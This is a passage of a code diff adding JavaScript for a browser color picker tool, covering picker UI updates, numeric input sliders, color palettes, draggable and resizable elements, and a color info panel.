+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x &gt; size) x = size;
+		if (y &gt; size) y = size;
+		if (x &lt; 0) x = 0;
+		if (y &lt; 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		// TODO 360 =&gt; 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' &amp;&amp; mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision &gt;= 0 ? precision : 0;
+		this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value &gt; 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action &gt;= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action &lt;= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue &lt; 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i &lt; size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Hue', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Lightness';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Value';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
